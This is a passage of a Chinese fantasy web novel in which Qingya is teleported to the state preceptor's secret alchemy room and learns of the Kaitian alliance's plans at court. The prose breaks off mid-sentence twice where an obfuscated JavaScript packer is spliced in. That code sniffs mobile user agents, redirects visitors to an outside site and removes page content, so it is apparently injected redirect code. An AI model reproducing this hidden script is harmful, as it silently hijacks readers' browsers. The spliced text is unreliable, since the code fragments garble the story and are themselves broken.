楚醉君走到床边,不知按动了什么机关,那张红木雕花的大床缓缓旋转起来,由东西向转为南北向,原本床尾的位置露出一截空地,楚醉君站到那块空地上,方砖铺就的地面上亮起丝丝灵光,勾勒出一个圆形阵图。 楚醉君招呼她:“快站上来。” 青崖应了一声,也顾不上问他脚下是什么阵法,就踮着脚站了上去,刚刚站定忽然眼前一黑,卧房消失不见,周遭温度骤减,原来是到了另一处空间,脚下也正好踩在一个圆形法阵上。 “这是定点传送阵,”楚醉君介绍,“可以在一定距离内从一个地点快速直达另一个地点。” 青崖大为新奇,“这是属于水灵根的术法吗?” “不是,这种跨越空间的术法我可学不会,是由土系与空间系的灵合力布下的阵,布好之后,其他灵族只要驱动一点灵力就可以使用此阵。” 青崖想问空间系又是什么能力的灵,却觉得今日自己的提问实在太多了,多到自己都嫌弃自己。 不知道自己是灵识系,不知道灵族到底有多少种灵根,也不知道各种灵根有什么技能。她在小狼面前还能假装见多识广,在楚醉君面前就感觉脖子以上是一个空壳。 眼睛渐渐适应了密室里昏暗的光线,二人步入地下密室。 所谓密室实际是一条长长的密道,一眼看不到头,不知通向哪里。两边贴墙立着一些一人多高的木架,青崖随便扫了一眼上面的书册封面,有的是各种名册,有的是单人名字,大约是各种人物或机构的背景资料库。 再往前走,另一个木架上的书册是按郡县分类的卷宗,封面写着诸如“李氏灭门案”“野兽吃人案”“王氏杀妻案”等案卷标题。 路过豫州西亳城那排架子前,青崖特意停了一下,果然看到一个有些熟悉的故事——西亳毛氏失踪案。 她在来京的路上听说书先生讲过这个故事。 据说毛姓一家六口人在一夜之间离奇失踪,家里一片凌乱,还有血迹。起初人们都以为是妖把他们给掳走吃了,后来经人调查才知道,原来是他家男主人赌博输光了家底,为了躲债,举家逃走,伪装成失踪。 青崖拿起“西亳毛氏失踪案”的卷宗,凑在以发光的灵石为灯芯的灯下快速浏览了一遍。没有错,这的确是她听过的那个故事。在故事的最后,真相大白,妖的“吃人”罪名得以洗脱,而那户人家的下场着实有些凄惨——债主不知怎地找到了躲到朋友家地窖里的那户人家,那家人为了还债,年纪大的卖身为奴,年纪尚小的女儿被迫为妓。 “是你查清真相的?”她指着卷宗标题问楚醉君。 “是‘开天盟’的同伴,”楚醉君道,“‘开天盟’中有人族有灵族,分布在东莱国各地,几乎做什么的都有,为灵族洗脱各种莫须有罪名也是我们的任务之一。” 青崖在来京路上最爱听书,一路听了许多这样的故事,原来被传为妖做的恶事,最终真相水落石出,与妖无关。说书先生讲得有声有色,听众们听得聚精会神,听完以后总会感慨:原来不是妖啊。 那些查案的、讲故事的,像暗夜中的细雨一样,悄悄维护着灵族的名声,久而久之,等人们听多了这样的事,也许就不会再下意识将各种害人事件与妖联系在一起,也许渐渐就能不怕妖,正视妖。 这就是开天盟在做的事,以润物细无声的方式,悄悄拉近人族与灵族的距离。 可是……毛氏失踪案中的那户人家多少有些令人唏嘘。 来京城没多久,牡丹姐就告诫过她与小狼千万不要去赌场,赌场里有许多猫腻,专门骗人。如果毛氏也是这样被骗欠下高额赌债,本来能躲过一劫,却因为灵族要洗脱自己的罪名,将他们推了出去。卖身为奴也就罢了,无辜的小女儿卖身为妓…… 青崖想到了玉颜。最近玉颜与自己住在一处,姐姐时常传点灵力给她,可惜毫无用处,她依然没有自主意识,身体也每况愈下。 因为同为女子,青崖对这样的事尤为痛心。 楚醉君见她一脸难过,接过卷宗翻看了一遍,问:“怎么了,欠债还钱天经地义,你认为开天盟的做法有什么不妥之处吗?” “毛家小女儿是无辜的,她就这样受牵连被葬送了一生。”青崖道。 “那只能怪她那好赌的父亲,怪不得开天盟。无论有没有我们干涉,这类事情随时都在发生。”楚醉君毫不在意地把卷宗放回原处。 青崖看着那本卷宗被丢在阴影里,仿佛看到毛家小女儿的命运,被那么漫不经心地推到泥泞里。 楚醉君行了片刻,发现青崖拖着脚步,脸色不佳,开口道:“好吧,我再告诉你一个秘密。” “什么秘密?”青崖声音闷闷的。 “对于像毛家女儿这样无辜受累、命途有危的人,开天盟会给他们提供另一个选择。” “什么选择?”青崖声音一下子晴朗起来。 “加入开天盟,”楚醉君道,“当然了,他们不会在一开始就知道开天盟的存在,他们只知道有贵人相助,帮他们脱难,不过需要他们做点什么当作回报。他们会被分派到特定地方,做些外围杂务,若是能力出众,且与开天盟观念相合,开天盟才会正式接纳他们。” “那毛家小女儿……?” “我没记错的话,应该在西亳一个诛邪司女术士家中做侍女。” 既然被开天盟安排在术士家中,自然不仅仅是做侍女。 “太好了!”青崖的心情彻底转晴。要不是楚醉君补全毛氏失踪案秘密的结尾,她险些要以为开天盟是个为了目的不择手段的组织,要对其敬而远之了。 她赞道:“这样看来你人也不错嘛,做什么装成那么心机深沉不顾他人死活的样子?” “你太单纯了,”楚醉君回过头,“我不是说了,我知道怎么雇杀手,因为我就雇杀手杀过许多人。” 他俊美的脸庞上带着足以令万千少女迷醉的笑容,青崖却突然感到一股寒意,外面还是夏日,这地下密道里却冷如冰窖。 “你也太大胆了,明明灵力不如我,还敢与我到这样的密室里来。”楚醉君挑了挑眉,桃花眼里盛着的笑意变得有些阴森。 青崖这才意识到自己跟着他在密道中走了很久。 本以为只是在楚醉君家的地下,不会离开姐姐太远,谁知竟通过传送阵到了一个密道。这密道不见天日,黑暗寒冷,说不准究竟在哪里的地下。 面对一个已经结丹、灵力远远超过自己的灵,若对方想害自己,真比拼起来,自己确实毫无胜算,在对方带路的密道里,恐怕跑也跑不出去。 她向来能凭面相识人,也能敏锐地察觉他人的情绪或善恶意图,今日才知道,原来是灵识系的缘故。但在楚醉君面前,她的灵识系能力丝毫不能发挥作用,只能听出他说出口的话是真是假,别的就什么也无法判断。楚醉君对她来说,像个戴着面具,并随时可以更换面具的人。 青崖忍不住退后了两步,拉开二人之间的距离,警惕道:“你不是说带我取隐灵膏么,还要走多远?姐姐要是找不到我,她会担心的。” 前一刻还与她侃侃而谈的楚醉君,转眼之间变得阴寒凶狠,他半边脸藏在黑暗里,盯着她道:“如果把你扣留在这里,你姐姐一定会乖乖听我的 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“你是半灵,结丹自然要慢一些。”楚醉君看透了她在想什么,“你如果愿意加入开天盟,我可以赠你一些有助于进益的灵物。” 青崖平复了一下受惊的情绪,道:“加不加入,我得和姐姐商量后才能决定。” 说话间,两人走到了暗道的尽头。楚醉君转身面对着她道:“你脚下是另一个传送阵,通过它到下一个地点就可以拿到隐灵膏了,你试试启动阵法吧。” 青崖很是怀疑地瞪着楚醉君,有些相信他没有说谎,才慢慢将视线移到脚下,问:“怎么启动阵法?” 脚下地面平整,与其他地方毫无差别。 “这里什么也没有啊?” “将灵力凝于脚下,你仔细看。” 青崖依言而行,果然有几缕微弱灵光从脚下地面上蔓延开来,渐渐勾勒出一个隐约可见的圆形阵法图,图案与先前的传送阵相似。 “之前我给你讲那个到诛邪司内部做眼线的女子的事情,其实还有另一个原因。”楚醉君突然开口道,“楚怀义和那女子都是我的挚友,看到他们为了我族的事情彼此错过,我深感遗憾,希望类似的事不再发生。” 青崖正在观察地上逐渐成形的阵法图,心不在焉地哦了一声,不明白他为什么突兀地再次解释,也不明白他说的这个理由和自己有什么关系。 随着两条弧线汇聚成一个完整的圆,脚下阵法完全成形,灵光陡然大盛,阵法图案清晰可辨,在黑暗密道里甚至越来越刺眼,她忍不住闭上眼睛惊呼了一声。 只一瞬间,光芒达到顶点后骤然熄灭,当她再睁开眼,发现周围一片漆黑,伸手不见五指。她心中念诀,将灵力凝于左手,五指张开,手掌上方亮起一朵跳跃的橙色火焰。 这是姐姐渡给她的火灵根的灵力,这种不同灵根借力的方法只够让她点亮一朵小小的火焰,并且持续不了太久。 借着火光,她发现自己果然到了另一处空间,眼前也是一条密道,两边没有先前那样的高大木架,只有光秃秃的灰色石壁。 左右一打量,两端都黑漆漆的,她不敢乱走,站在原地等待楚醉君。然而左等右等不见他来,脚下的传送阵的灵光熄灭,她试着启阵回去,尝试了好几次,脚下地面始终无动于衷,就像根本不存在什么阵法一样。 青崖心中一沉。 可恶,是不是又着了那家伙的道,不知被送到哪里来了? “楚!醉!君!!!” 她一掌拍在墙上,再不管应该称呼对方“哥”“伯”或者“君”,直呼其名地大喊:“我要回去!楚醉君!你听见没有!” 62. 匪来贸丝,来即我谋6 狭长通道内幽暗阴冷,只有自己的声音在其中回荡,青崖闭上了嘴,不敢再大声呼喊,生怕黑暗里有什么看不见的危险被自己的声音召来。 这是什么地方?怎么出去? 密道两侧的墙是实心的,蛮力根本不可能靠蛮力冲开。她靠在石壁上,一股冰冷的凉意透过衣服传到脊背。 她不怕黑,但是害怕这样不见天日的地下空间。她从小在山野中长大,就连普通的屋子里呆久了都嫌烦闷,更何况是这种压抑的地下。她望着两端的黑暗,生出一种再也见不到太阳的错觉。 望着掌心的火焰,她努力让自己冷静下来,在自己的呼吸中,听到地下传来一丝隐约可闻的潺潺流水声。 必须赶在姐姐借给自己的火灵耗尽之前尽快找到出口,可是,往哪边走? 她将掌心焰火举高,左右观察一番,发现左手那边的黑暗有些不寻常,走过去细看,原来那不是延伸到远处的黑暗通道,而是一堵黑色的墙。 黑墙? 密道两侧的墙壁都是灰色或土色,在烛火照耀下颜色偏向于橙黄,而那堵位于末端的黑墙却是一片纯粹的黑色,灯火也无法照亮。她伸出手去,想摸一摸那黑色究竟是虚无的还是一堵石墙,却发现自己的手指距离黑色还有一尺就无法推进了,这种感觉倒像一种结界。 她面对“黑墙”,无奈后退几步,没想到那“黑墙”也跟着推进几步,她往黑墙靠近,黑墙则一动不动,如同把推进的空间给吞噬掉了,并且只吞不吐。 或许这是空间系留下的像结界或阵法一样的东西。 她试着后退远离黑墙,黑墙就继续跟着她的步伐推进,吞噬掉一段空间,并且距离她始终只有一步之遥。 这端诡异的“黑墙”只进不退,她只好转身顺着密道的另一个方向一路往前。她左手托着一朵火焰,右手一直扶着侧面墙壁,生怕这面墙壁也会消失,或者突然活动起来。在这个黑暗无人的密道里,似乎什么怪事都可能发生。 好在密道没有岔路,只有一个方向可以选择前进,她摸索着走了大约有一炷香的时间,来到密道尽头,身后一直跟随她推进的“黑墙”消失不见,变成了普通的砖墙,密道真正成为一间密室。 这个密室四面是墙,长边十几步,短边五六步,看不到任何出口。 青崖挨着墙壁走了一圈也没发现什么机关,更没在地面看到类似传送阵的图案。 密闭的四方空间,比先前的密道更压抑了,连空气都仿佛凝固,她开始感到呼吸有些困难。 怎么办?从哪出去?这到底是什么地方?楚醉君骗她到这里来做什么?姐姐发现她不见了,一定会找他要人,难道他真是想把她闷在这里当人质,威胁姐姐加入开天盟? 青崖想起不久前楚醉君在密道里只显露了一下的阴森的笑意,心头浮现出各种不祥的猜测。 楚醉君卧房里有机关,这个密室里说不定也有机关。她强忍不安,用手一寸寸在墙壁上摸索寻找,时不时用灵力点在墙上或地上,尝试寻找传送阵。 还没摸完一面墙,密室一侧墙壁后边忽然传来一阵轻缓的脚步声,有人停在了外面。 谁?这种地下,怎么会有人?是楚醉君同伙吗? 不待她考虑好是否该求救,只听咔哒一声,外面那人按动了什么机关,随着一阵轧轧声响,对面墙壁上原本严丝合缝的青灰石砖之间缓缓出现一条裂缝,墙壁分裂打开。 原来整堵墙是可以打开的。青崖不知对方是敌是友,连忙熄灭了掌心焰火,让自己隐藏在密室一角的黑暗里。 石墙缓缓打开,厚厚的墙壁那边满室烛光,一个身穿玄袍的人在烛光中挑灯而立,端正身形如谪仙一般俊雅。 看清那人的面容后,青崖大大地舒了一口气。 “青崖?怎么是你?” 那人满眼惊喜。 “长山!”她几个箭步跑到长山身边,紧紧抓住长山的衣袖,触到长山的温热的手腕,才发现自己的手一片冰凉。 “这是什么地方?我被楚醉君骗到这里来的,他让我自己过来,又没有指路,我自己摸黑走了好久,差点以为要被闷在地下出不去了!” “别怕,”长山发现她神色慌张,眼眶微红,关切地拍了拍她的手背,惊讶道:“你的手怎么这么凉?在这里呆了很久吗?” 青崖也不知道自己在密道里被困了多久,因为不安,时间仿佛被拉长了,她满是委屈地点头:“呆了很久!” 长山捂了一下她的手背,想为她暖手,又觉不妥,于是道:“你想不想去看看我的炼丹炉?顺便上去暖和暖和?” “炼丹炉?”青崖一愣,随即反应过来,“这里是你的炼丹房地下?” “对。” “楚醉君说我到了这里就可以拿到隐灵膏,他的意思是让我找你要?” “我这里的确有隐灵膏,”长山也终于听明白原委,“他让你来,但是又没说明传送阵这边可以到我的丹房地下吗?” “没有!”青崖愤然。 要是提前知道,她就不会在密道里走得那么提心吊胆战战兢兢了。 不过在密道终点见到长山,那一刻的确很是惊喜。 “这个老楚,做事总是这样独断,”长山脱下外袍披在青崖身上,“我本来还想提醒你,最好不要与他掺和在一起,看来是来不及了。” 青崖闻着长山身上的药香,在长山温和的目光与声音里,终于渐渐放松下来。手指松开长山的衣袖,发现自己在他那件一看就很贵重的玄袍上面留了一个土手印,下意识随手一拍,却忘了自己手上都是土,这一拍并没把衣袖上的土拍掉,而是把土手印的土给拍匀了。 长山这件国师袍绝对价值不菲。 “呃……抱歉,那个……” “没事。”长山微微一笑,毫不介意地自己拍了拍袖子,温声道:“上次你走后我才想起应给你一些隐灵膏,你在京中走动,一定少不了这东西。上次来去匆忙,我竟给忘了。” 他走到墙边,移动了一个烛台,从烛台后的暗格中拿出三个瓷罐递给青崖。 青崖往暗格中瞄了一眼,里面满是各种瓶瓶罐罐,装隐灵膏的是一样的白底蓝花的瓷罐,总共只有三个这样的罐子,长山全部给了她。 她接过瓷罐,感觉沉甸甸的,一罐就相当于她们姐弟三人在来京路上三个月消耗掉的总量,“这么多?都给我?别人再需要怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14468069|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办?” 长山道:“没事,上面就是我的药房和炼药的地方,我再抓紧时间炼制一些就是。” “那就多谢了。”青崖将瓷罐收入乾坤袋,问:“这东西果然是你发明的吧?你现在和楚醉君合作?也是开天盟的人?” 长山得知是楚醉君把青崖送来的,就知道楚醉君不打算对青崖隐瞒他们的身份和目的了,诚实道:“是,五年前从你那里离开后我就遇见了他,之后一直与他共事,成为国师也是我与他共同商议的计划。为了帮助太子,帮助灵族,也为了帮我实现取消《禁药令》的心愿。” 正说话时,地下有什么咔嚓一响。长山弯腰揭开一块地砖,露出下面宽约半尺的地下水渠,一个顺水漂来的竹筒卡在机关之间。 不过片刻就见识了吞噬空间的“黑墙”、开密室的机关、藏药的机关,地下流水的机关,青崖不禁惊叹:“你这里机关好多啊。” 长山打开地下机关中的竹筒,解释道:“这条地下水流是楚醉君留下的,制作一个传送阵不容易,需要至少八个空间系的灵合力才能完成,还会消耗大量灵力,一旦被发现就是莫大损失,所以会尽量少用,我与他不便见面时,传递信息就靠这条地下水流。” 竹筒随水流动,到指定位置恰好被机关拦住,这个竹筒刚刚送到,就说明是楚醉君刚刚传来的消息。 长山当着青崖的面,打开竹筒,取出里面的白纸。 青崖好奇问道:“怎么是一张白纸?” “为了保护要传递的秘密信息,必须在纸上刷特制药水,字迹才会显现出来。” 他打开墙上的另一个暗格,取出一个砚台,滴了几滴暗渠中的水,用一条特制的紫色墨条,开始研磨,然后用一个小刷子,将研磨出的淡紫色“墨汁”刷在白纸上。 青崖第一次见到这样的操作,大气也不敢出,低头全神贯注盯着那张白纸。 不过片刻,纸上无声地显出三个深紫色龙飞凤舞的大字:嘿、嘿、嘿。 青崖:“……这是什么暗号吗?” 长山:“……不是。” “那这是什么秘密信息?” 长山咳了一声,“楚醉君这人向来爱开玩笑,应该猜到我们碰面了,就随便传个信息示意是他把你送来的。” 青崖:“哦,你们传递的信息还真是重要。” 她用暗渠里的清水洗了一下手,站起身来走到打开的墙边向外张望,外面房间对角处有一段向上的台阶。 “从那里上去就是炼丹房吗?” 长山递给她一方洁白的手帕,道:“对,你上次来时应当见过,就是那个八角建筑。你在密道里太久了,跟我上去暖和一下吧,我给你冲杯茶喝。” 青崖用长山的手帕擦干手上的水,手指仿佛染上了长山的体温与药香,已经有些回暖。 暖手不是必要的,但是去国师的炼丹房去喝杯茶倒是不错。 “好呀。”她应道。 皇宫戒备森严,没想到楚醉君居然打造了能直通国师丹房的密道与传送阵,可见他们的关系相当紧密,需要随时便于联系。 长山沉默着引青崖走上台阶,突然问道:“小狼……他的病好了吗?” 63. 匪来贸丝,来即我谋7 青崖一怔,想起上次匆匆忙忙的会见,话都没说完整,让长山误以为她找白玉芝是给小狼治病,解释道:“小狼没有生病,是他心上人的父亲生病了需要玉灵芝。” 长山在台阶上顿住脚步,“他心上人的父亲?” “是啊,”青崖道,“他心上人叫芊芊,我与姐姐这次来京城就是为了帮他求亲。” “那小狼是你什么人?你上次说,他与你相伴五年,是对你很重要的人?” “他是我弟弟,也是一个灵族,你们离开不久后我就捡到了他,他比我小五岁,所以就像我和阿远结拜一样,我也与他结拜为姐弟啦,当然是我很重要的人。” 说话时,本来走在长山后面的她踏上了与长山同一级的台阶上,但见长山站在原地,垂眸看着她,眉头舒展,嘴角上扬,故意扮作百岁仙长的面容突显年轻了至少几十岁。 长山向来稳重,为了伪装成百岁仙长,更是习惯了不苟言笑。青崖本以为他真的修炼到了喜怒不形于色的境界,没想到他突然对自己露出这样温润欢喜的笑意。 “怎么了,”她看着那双与大国师身份和年龄都毫不相符的柔情双眸,心底一片温软,“我又认了个弟弟,你这么替我高兴吗?” “高兴,”长山像卸掉了什么沉重心事一般,深吸了一口气,凝视着她,“我很高兴能帮到你弟弟,他还需要白玉芝吗?我药房里新添了一批药,正好补上了白玉芝的空缺。” 青崖正要回答,却见楼梯上方出口探出一个人影,那人身穿国师玄袍,手握拂尘,身材、长相、装扮都与长山一模一样,完全就是另外一个长山。 “啊!”她倒吸一口冷气,险些跌下楼梯。 台阶上和出口处各有一个长山! 青崖目瞪口呆,感到身体里刚刚回暖的血液又冻结了。 她在两张一模一样的面孔上来回张望,想弄清这是怎么一回事。这里有两个长山,那么刚才迎接自己,一直和自己说话的,是真的长山吗? 出口处的“长山”看到她也吃了一惊,压着声音问正在台阶上的长山:“怎么把人给带回来了?” 台阶上的长山对出口处的“长山”和青崖嘘了一声,好在青崖知道此处位于皇宫,位置特殊,惊呼也并没有发出太大声音。 “你先下来吧,”台阶上的长山对出口处的“长山”道,然后转头对青崖解释:“别怕,他是我的左护法,擅长易容术,也是开天盟的人。当我离开炼丹房的时候,他就在这里冒充我,免得万一有人来丹房发现我不在。” 出口处的“长山”嘿嘿笑了一下,对青崖招手,“幸会幸会,第一次见国师大人把人带到炼丹房里来,我还吓了一跳呢。” 青崖定了定神,细一辨别,终于发现那个“长山”的声音其实与真正的长山略有差别,说话语气也更为活泼,与长山的沉稳大为不同,但是乍见两个一模一样的人,还是感到说不出的诡异。 那人揉了揉脸,脸型突变,虽还与长山有几分相似,也能看出明显是另一个人了。 长山对那人道:“你先别忙换回衣服,在下面等我,我一会儿还要下去。” 那人应了一声,走下楼梯进入密室,路过青崖时好奇地看了好几眼。 楼梯出口仅容一人通过,出口是地上一块活动的地砖,地砖旁边是一个铜鼎,料想那铜鼎平时就是放在活动的地砖上做掩饰用的。 丹房内部空间呈圆形,正中间是一个足有一人多高的炼丹炉,炉身由赤铜打造,蓝色与紫色宝石点缀其上,显得精致气派,炉中飘出淡淡紫烟。 以炼丹炉为中心,浓郁的灵气充满整个丹房。 青崖忍不住深吸一口气,伸出手感受着空气中蕴含的灵,道:“这丹炉看起来是个宝贝。” “这还是上一个术士不知从何处找来献给皇上的,”长山介绍,“只可惜他拿着宝贝不会使用,什么也没炼制出来。我接手时本以为这个东西也是他诓骗皇上的,没想到还真是一个炼制灵药的绝妙灵器,药物经它炼制,不仅不损药性,还会增强药力,你看这里,我让楚醉君看过,他说这上面镶嵌的宝石乃是灵石……” 长山介绍起跟制药相关的东西就忍不住滔滔不绝,欢欣痴迷,这一点还和从前一样。 听他长篇大论介绍完,青崖问:“皇上每日的丹药就是用这个丹炉炼制出来的吗?” “不是,”长山道:“皇上的丹药只是一些养生药物,太过有灵效反而不好,不需用这个丹炉炼制,反倒是隐灵膏的制作必须依赖这个丹炉。” 好嘛,因为他这个国师的存在,原本给皇帝使用的丹炉现在相当于是给灵族使用了。 因为丹炉中的热气,丹房比户外要热许多,青崖在地下密道里的寒气早被驱散,她脱下长山的外袍拿在手里,仰望着丹炉,问:“施法降雨的其实是楚君吧?“ “没错,我只是做样子施法,实际上真正施法出力的是楚君。” “近两年皇上一无所出,和你的丹药有没有关系?” 长山沉吟了一下,似乎犹豫该不该说实话,最终道:“有关系。“ “你给他的是毒药吗?” “怎么可能,除去让皇上无法生育之外,那丹药确实是强身健体的药。皇上子嗣越少,太子的胜算就越大。皇上之前曾处决过两任太子,现在他不再有新的子嗣,想再动太子,就得三思了。” 想到这个皇帝就是发动天下人开始捉妖的人,取消《捉妖令》必要等到哲远继位后,青崖心里冒出一个大胆的念头。 “你既然能每天给皇上炼丹,为什么不直接下毒?” 长山苦笑:“朝堂复杂,要立新君绝非那么简单。再说,我们要扶持的人是哲远太子,你忘了他是怎样一个人了吗?你认为他有可能弑父夺位吗?” 经提醒,青崖才把太子和记忆中的阿远联系在一起。印象里,阿远心地善良,性情柔和,连一只动物都不忍心伤害,的确不可能弑父。 “且皇上子嗣众多,他的死因若有任何疑点,太子继位难服人心,其他子嗣必定设法谋乱。”长山又道,“战乱一起,苍生涂炭,那并非我们所愿。” “那眼下只能等待吗?皇上已经50岁了,你们的计划还要等多久?不是说人活六十古来稀?是不是十年之内必能等到太子继位,取消《捉妖令》?” 长山面露迟疑,道:“皇上身体康健,若没有什么意外发生,他的寿命当会比许多人都长。我在他身边这么久,有个问题一直没弄明白,那就是……陛下他体内居然有灵力。” “什么?”青崖惊讶:“皇上是妖?” “不是,”长山解释,“皇上是凡人,这点准没错。你们灵族有灵根,我一碰到你们的身体,无论碰到任何地方,都能感觉到你们身上的灵气,而人族就算个别有灵根的,也只能从眉心灵脉探出一点灵气。皇上不仅是普通人,而且没有灵根,他只是……体内有一些灵力。我和楚醉君也一直没弄明白这是为什么。他体内的灵比普通人多一些,以前头痛就是因为凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497324|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人体质承载不了那些灵力。” 长山给青崖斟了一杯茶递过去。 “我刚入宫时,皇上受头疾折磨,形容枯槁,外貌与他年纪相符,脉象却似青年人。待我将他头疾治愈,他越发容光焕发,外貌日渐年轻,仅仅一年就变得像青壮年。别人还以为是我丹药管用,实际上,我只是暂时治好了他的头痛,我怀疑,他的长寿体质就是他体内那些灵力所致。” 青崖道:“那真是奇了,他是个凡人,没有灵根,为什么会有灵力?” “我在他身边,也是希望弄清这一点。我们如何布局,与陛下的寿命长短实在息息相关。” “你如果不给他治愈头疾,会不会……他就没这么长寿了?” “不会,”长山摇头,“我说了,在我治疗他的头疾之前,他的脉象就似青年人。头疾只是给他造成了一点痛苦,却并未影响他的体质根本。” 长山以前就精通医术,如今明面上有国师身份的加持,暗地里还与楚醉君有来往,无论医治人还是医治灵,现在都是东莱国数一数二的神医圣手,他都看不懂的脉象,真不知谁能看懂了。 青崖改问道:“你提议建修仙阁又是为了什么?茶馆里好些说书先生都编排你,说你这是怂恿皇帝大兴土木,劳民伤财。” 长山毫不在意地笑了一下,“无妨,编排就编排吧,有些说我坏话的说书先生,还是老楚指使的呢。” “啊?为什么刻意败坏你大国师的名声?” “在陛下身边谋事,盛名太过,不是好事。”长山道,“世人不知,在我之前陛下信赖的那个术士就提议修建高楼以靠近神仙获得恩泽,他的建议是在东西南北四方分别修建四座高楼,周边还要建造行宫。皇上本已选好地段要动土了,在我建议下,才改为只建一座高楼。而且,那些建筑工匠都是我自己选的,里面,大多是楚醉君拉拢来的人,若有宫中有什么意外,他们会听我号令。” 国师言明建造修仙阁的工匠必须身无浊气,他需要亲自挑选,这件事青崖听说过,没想到其实是为了在皇宫附近安插人手。 两人说话期间,丹房外面偶有脚步声,但那些脚步声都距离丹房甚远,因为宫人们都知道此处是国师独有的地盘,除非要事,其他人不敢靠近打扰。 闲聊一阵,青崖惦念姐姐还在楚醉君家,有些担忧。 “我该走啦,姐姐久不见我会担心,还不知道楚醉君会不会老实告诉姐姐他把我骗到你这里来了,”她放下茶杯站起,“对了,我该怎么回去?我自己找不到传送阵?” “我送你回去。”长山站起身,走到丹炉边,将其上最明亮耀眼的一颗紫色宝石抠了下来。 原来,传送阵有两种启动方式——楚醉君那边需要用灵力启动,长山这边则是用机关与灵石启动。 两人回到地下密室,左护法自觉地回到丹房守着继续假扮国师。 长山将紫色灵石按在一块地砖上,淡紫色光线蔓延展开,一个传送阵款款显现出来。 “我走啦,”青崖恋恋不舍,“有这个传送阵和密道,我是不是可以常来看你?” “我自然希望你常来,”长山目光中满是矛盾,“可是传送阵启动会有灵力波动,为了避免被术士发觉,还是少启动为好,况且此阵出口在楚醉君家,他凡事都喜欢谈条件,想必不会大发善心让你随意到他家去用阵的。” 青崖正要说什么,传送陡然光芒大盛,等光芒暗下时,楚醉君和一脸担忧生气的红鸾同时出现在阵中。 64. 匪来贸丝,来即我谋8 “红鸾姐。” 长山忙向红鸾行礼,红鸾看也没看,抓住青崖拉着就走。 青崖没来得及与长山告别,就被传送阵送回了楚醉君家的地下密道,楚醉君也紧随其后。 楚醉君自作主张把青崖送到长山那边,显然惹恼了红鸾。青崖与长山聊了许久,早忘记遭楚醉君设计的仇怨,见姐姐红鸾半点好脸色也无,为了缓和气氛,主动道:“姐姐,我拿到隐灵膏了,这果然是长山发明的,他还给了我许多,够咱们用好久呢。” 红鸾哼了一声。 楚醉君扇着扇子,好整以暇道:“隐灵膏只不过是大国师发明的灵药之一,除此以外他还发明了许多能帮我们灵族对抗术士伤害的灵药,帮开天盟医治过许多伤患,多亏宫里那个什么都有的药房和那个了不起的炼丹炉。” 青崖眼看就要被姐姐拉着走出密道了,抓紧时间问楚醉君:“你这里既然有通往国师丹房的传送阵,是不是也有通往东宫的传送阵?” 如果有,就可以去看看哲远与裴浩了。 “没有。”楚醉君道,“诛邪司的侦查手法一直在进步,说不定早晚会突然研究出如何发现灵族术法痕迹的手段。我或者国师暴露,不会影响全局计划,但太子在地位坐稳之前,无论如何也不能被发现与妖有勾结,所以,没有通往东宫的密道或传送阵。” 青崖有些失落,“那你们怎么通信?” “我们自然有我们的途径。”楚醉君道,“除非你答应与我们共事,否则有许多事情还是不能告诉你。” 青崖暗忖,以楚醉君这种行事风格,就算答应共事,也照样不可能把所有事情都告诉自己。 离开楚醉君家后,红鸾用审问般的语气问:“长山又和你说什么了?” 青崖一直惦念着楚醉君问姐姐的问题,不满道:“我的什么事你都要过问,我对你毫无保留,你却不与我坦白。今日楚醉君问你有没有心上人,你应声说没有,但那是假话,我听出来了。” 红鸾眼中流露出几分无奈与懊恼,也许后悔当时随意的搭腔。 青崖继续道:“怎么解释,你有心上人吗?他……是谁?不会还惦记着那个想要剖你内丹的负心人吧?” 对于姐姐那句随口而出的假话,青崖做了许多种猜测。姐姐和自己一样久居山谷,除了曾经的那个人,她实在想不出姐姐还有其他心上人的可能。 红鸾默然良久,黯然道:“在心里恨着的也是心上人。” “我不明白,”青崖皱眉,“他都要杀你、挖你的心了,你明明应该恨他,为什么还想着他?” 红鸾没有应声。 青崖追问:“他到底是谁?是不是还在京城?我和小狼去替你出气!” “就是不想让你们两个冲动做多余的事才不告诉你们。” “我保证什么都不做,也不告诉小狼,你告诉我他是谁?” “说了名字你也没法找他,京城人那么多,找一个人哪里容易?” “所以,你也找不到他?” “你就别问了。” 红鸾语气略带恼意,青崖生怕再问下去会惹姐姐真的生气或伤心,甚至晚上引发梦魇,于是不再死缠烂打。 她把在丹房中的所见所闻都说了一遍,说到皇上体内有灵力,并因此比常人长寿时,红鸾脚步顿住,也露出难以置信的神色。 “他体内还有灵力?”红鸾语气沉重,“那个人越长寿,对灵族来说……当前危险的局面就维持得越久。” “是啊,”青崖道,“真是好人不长命,祸害遗千年。” *** 二人回去时天色已晚,小狼在屋里闷了一天,一见她们回来就追着问她们今日去了哪里,见了什么人,有什么新鲜事。 红鸾不爱言语,径自去梳妆休息,青崖把当日的事情毫不保留地对小狼说了。 小狼对其他事情听听便罢,唯独对红鸾还念着负心人这点耿耿于怀。 “我不理解,”小狼道:“什么叫在心里恨着的也是心上人?那不是仇人吗?” 青崖耸了耸肩,表示自己对此也无法解释。 “我这几日还时不时旁敲侧击同季师傅打听怎么雇杀手呢,”小狼道,“别到最后我们杀手雇到了,那个负心人也找到了,红鸾姐却舍不得让我们下手?” “会吗?” “怎么不会?你不是说她还把他当心上人?” “算了,”青崖苦恼道,“先别管这个了,顾好你与芊芊的事吧。” 